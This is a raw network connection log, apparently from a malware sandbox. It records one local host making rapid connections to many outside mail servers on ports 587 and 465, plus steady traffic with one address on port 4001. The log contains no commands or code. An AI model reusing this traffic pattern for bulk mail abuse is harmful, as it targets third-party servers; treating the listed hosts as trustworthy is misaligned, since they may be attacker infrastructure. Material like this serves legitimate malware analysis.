May 19, 2024 17:27:40.646579981 CEST	49775	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:40.646725893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.647048950 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:40.647058010 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:40.647066116 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:40.647299051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.647336006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.651814938 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.656569004 CEST	587	49775	193.201.172.98	192.168.2.4
May 19, 2024 17:27:40.657139063 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.657147884 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:40.657279015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.657279015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.661649942 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:40.661984921 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:40.662043095 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:40.662357092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.692986012 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:40.711570978 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:40.711599112 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.725605011 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.726897001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.726897001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.730737925 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.737987995 CEST	49824	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:40.738713980 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:40.743233919 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.743244886 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:40.747193098 CEST	49776	587	192.168.2.4	182.48.49.234
May 19, 2024 17:27:40.747260094 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.748162985 CEST	587	49824	194.153.145.104	192.168.2.4
May 19, 2024 17:27:40.748172998 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:40.748256922 CEST	49824	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:40.753061056 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:40.753072023 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:40.753273964 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:40.755400896 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:40.755706072 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.755944967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.758029938 CEST	587	49776	182.48.49.234	192.168.2.4
May 19, 2024 17:27:40.758251905 CEST	49776	587	192.168.2.4	182.48.49.234
May 19, 2024 17:27:40.767333984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.767797947 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.786709070 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:40.793916941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.801341057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.802203894 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:40.802331924 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:40.806020975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.806376934 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.806890011 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:40.809710979 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.809748888 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.809935093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.809982061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.810602903 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:40.810616970 CEST	49827	465	192.168.2.4	68.178.252.117
May 19, 2024 17:27:40.810960054 CEST	49829	587	192.168.2.4	103.11.85.79
May 19, 2024 17:27:40.811227083 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.812127113 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:40.812140942 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:40.812474966 CEST	49830	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:40.812886953 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.812920094 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.813980103 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:40.816217899 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:40.816293955 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:40.816374063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.819159985 CEST	465	49827	68.178.252.117	192.168.2.4
May 19, 2024 17:27:40.819169044 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:40.819176912 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.819185972 CEST	587	49829	103.11.85.79	192.168.2.4
May 19, 2024 17:27:40.819300890 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:40.819300890 CEST	49829	587	192.168.2.4	103.11.85.79
May 19, 2024 17:27:40.819781065 CEST	49827	465	192.168.2.4	68.178.252.117
May 19, 2024 17:27:40.820566893 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:40.823303938 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:40.823314905 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:40.823378086 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:40.826275110 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:40.826284885 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:40.826364994 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:40.831284046 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:40.831293106 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:40.831300974 CEST	587	49830	194.153.145.104	192.168.2.4
May 19, 2024 17:27:40.831307888 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:40.831315994 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.831383944 CEST	49830	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:40.831423998 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:40.847124100 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:40.858251095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.863418102 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.873605013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.873727083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.874190092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.874245882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.874299049 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.874483109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.878616095 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.878623962 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.883367062 CEST	587	49809	62.116.169.204	192.168.2.4
May 19, 2024 17:27:40.883375883 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:40.883558989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.883855104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.888593912 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.888602972 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.893677950 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.896008968 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:40.901015043 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.901376009 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:40.901429892 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:40.902188063 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:40.902919054 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:40.903064966 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:40.906362057 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:40.911345005 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:40.915895939 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:40.919419050 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:40.919429064 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:40.919436932 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:40.921633959 CEST	49833	587	192.168.2.4	209.202.254.90
May 19, 2024 17:27:40.924602985 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:40.924664021 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:40.924732924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.927234888 CEST	49809	587	192.168.2.4	62.116.169.204
May 19, 2024 17:27:40.927241087 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:40.929373980 CEST	587	49833	209.202.254.90	192.168.2.4
May 19, 2024 17:27:40.929450989 CEST	49833	587	192.168.2.4	209.202.254.90
May 19, 2024 17:27:40.929533005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.934919119 CEST	587	49817	195.130.132.10	192.168.2.4
May 19, 2024 17:27:40.935024977 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.940146923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.940180063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.944529057 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.949301004 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.989865065 CEST	49817	587	192.168.2.4	195.130.132.10
May 19, 2024 17:27:40.995106936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.995107889 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.995289087 CEST	49834	465	192.168.2.4	142.132.181.81
May 19, 2024 17:27:40.999934912 CEST	587	49788	62.24.202.42	192.168.2.4
May 19, 2024 17:27:41.000041962 CEST	49788	587	192.168.2.4	62.24.202.42
May 19, 2024 17:27:41.000132084 CEST	49788	587	192.168.2.4	62.24.202.42
May 19, 2024 17:27:41.000183105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.000436068 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.000528097 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.004803896 CEST	465	49834	142.132.181.81	192.168.2.4
May 19, 2024 17:27:41.004873037 CEST	49834	465	192.168.2.4	142.132.181.81
May 19, 2024 17:27:41.004930973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.008536100 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.008548975 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:41.008718967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.008719921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.009814978 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:41.009955883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.009955883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.009968996 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:41.012362957 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:41.012373924 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.012481928 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.012528896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.012883902 CEST	587	49788	62.24.202.42	192.168.2.4
May 19, 2024 17:27:41.012895107 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.012902021 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:41.013050079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.013050079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.013053894 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:41.014913082 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:41.015064955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.016963005 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:41.016973019 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:41.016980886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.017040968 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:41.017158985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.018965960 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.023701906 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.023710012 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.023715973 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.052258015 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:41.057141066 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.058070898 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:41.058259964 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:41.058614969 CEST	49835	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:41.059130907 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:41.059319019 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.099127054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.114233971 CEST	587	49784	175.126.123.219	192.168.2.4
May 19, 2024 17:27:41.114315033 CEST	49784	587	192.168.2.4	175.126.123.219
May 19, 2024 17:27:41.114468098 CEST	49784	587	192.168.2.4	175.126.123.219
May 19, 2024 17:27:41.114526987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.115246058 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:41.115256071 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:41.115266085 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.115654945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.115654945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.116627932 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.117306948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.117306948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.117338896 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.118293047 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.118304968 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.118314028 CEST	587	49835	142.93.237.125	192.168.2.4
May 19, 2024 17:27:41.118323088 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.118367910 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.118402004 CEST	49835	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:41.118448019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.118496895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.118519068 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:41.118549109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.119973898 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:41.120043039 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:41.120155096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.120471001 CEST	49838	465	192.168.2.4	142.251.9.26
May 19, 2024 17:27:41.124741077 CEST	587	49784	175.126.123.219	192.168.2.4
May 19, 2024 17:27:41.124751091 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:41.124758005 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.124766111 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.124773979 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.124862909 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.129467010 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.129971981 CEST	49839	587	192.168.2.4	23.229.177.233
May 19, 2024 17:27:41.134212017 CEST	465	49838	142.251.9.26	192.168.2.4
May 19, 2024 17:27:41.134279966 CEST	49838	465	192.168.2.4	142.251.9.26
May 19, 2024 17:27:41.134382963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.134505987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.134573936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.139018059 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.143754005 CEST	587	49839	23.229.177.233	192.168.2.4
May 19, 2024 17:27:41.143765926 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:41.143810987 CEST	49839	587	192.168.2.4	23.229.177.233
May 19, 2024 17:27:41.143913984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.143964052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.148664951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.153716087 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.177375078 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:41.182533026 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.183079004 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:41.183303118 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:41.183737040 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:41.183979988 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:41.184257030 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.184334993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.186233997 CEST	49840	587	192.168.2.4	142.251.9.26
May 19, 2024 17:27:41.186398029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.186430931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.188169003 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.192867994 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:41.193320990 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:41.198024988 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:41.198081970 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:41.198088884 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.198098898 CEST	587	49840	142.251.9.26	192.168.2.4
May 19, 2024 17:27:41.198106050 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.198154926 CEST	49840	587	192.168.2.4	142.251.9.26
May 19, 2024 17:27:41.198240042 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.203159094 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.203210115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.208056927 CEST	49841	587	192.168.2.4	18.238.243.78
May 19, 2024 17:27:41.213459015 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.219850063 CEST	587	49841	18.238.243.78	192.168.2.4
May 19, 2024 17:27:41.219913006 CEST	49841	587	192.168.2.4	18.238.243.78
May 19, 2024 17:27:41.220021963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.235865116 CEST	49842	465	192.168.2.4	68.178.252.117
May 19, 2024 17:27:41.241581917 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:41.241853952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.242074013 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:41.246293068 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.251086950 CEST	465	49842	68.178.252.117	192.168.2.4
May 19, 2024 17:27:41.251224041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.251269102 CEST	49842	465	192.168.2.4	68.178.252.117
May 19, 2024 17:27:41.256071091 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:41.256125927 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:41.256189108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.260848999 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.265583992 CEST	465	49800	66.96.140.50	192.168.2.4
May 19, 2024 17:27:41.265640974 CEST	49800	465	192.168.2.4	66.96.140.50
May 19, 2024 17:27:41.265707970 CEST	49800	465	192.168.2.4	66.96.140.50
May 19, 2024 17:27:41.265760899 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.270687103 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.270736933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.270813942 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:41.271692991 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:41.271929979 CEST	49844	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:41.271940947 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:41.272109032 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:41.272695065 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:41.273525953 CEST	49845	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:41.273793936 CEST	49846	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:41.274154902 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:41.275477886 CEST	465	49800	66.96.140.50	192.168.2.4
May 19, 2024 17:27:41.280235052 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:41.280242920 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:41.280251026 CEST	587	49844	199.85.66.2	192.168.2.4
May 19, 2024 17:27:41.280258894 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:41.280267000 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:41.280344963 CEST	49844	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:41.280414104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.280612946 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:41.285145044 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:41.285157919 CEST	587	49845	104.22.65.144	192.168.2.4
May 19, 2024 17:27:41.285166979 CEST	587	49846	142.93.237.125	192.168.2.4
May 19, 2024 17:27:41.285175085 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:41.285217047 CEST	49845	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:41.285243034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.285245895 CEST	49846	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:41.285290003 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.285293102 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:41.285346985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.286638021 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:41.290249109 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:41.290281057 CEST	49850	587	192.168.2.4	92.204.80.0
May 19, 2024 17:27:41.294648886 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:41.294658899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.294667006 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:41.294795036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.294830084 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:41.294835091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.299432039 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:41.299442053 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.299566031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.304183960 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:41.304193020 CEST	587	49850	92.204.80.0	192.168.2.4
May 19, 2024 17:27:41.304255962 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:41.304290056 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.304294109 CEST	49850	587	192.168.2.4	92.204.80.0
May 19, 2024 17:27:41.304332018 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.304624081 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:41.308931112 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.313935995 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:41.313993931 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:41.314071894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.318918943 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.324394941 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:41.324605942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.329602957 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:41.329890013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:41.335916996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.349225044 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:41.349265099 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:41.356508970 CEST	49852	465	192.168.2.4	64.188.2.244
May 19, 2024 17:27:41.362595081 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:41.363025904 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:41.364764929 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:41.367635965 CEST	465	49852	64.188.2.244	192.168.2.4
May 19, 2024 17:27:41.367702007 CEST	49852	465	192.168.2.4	64.188.2.244
May 19, 2024 17:27:41.367870092 CEST	49734	4001	192.168.2.4	212.162.153.199
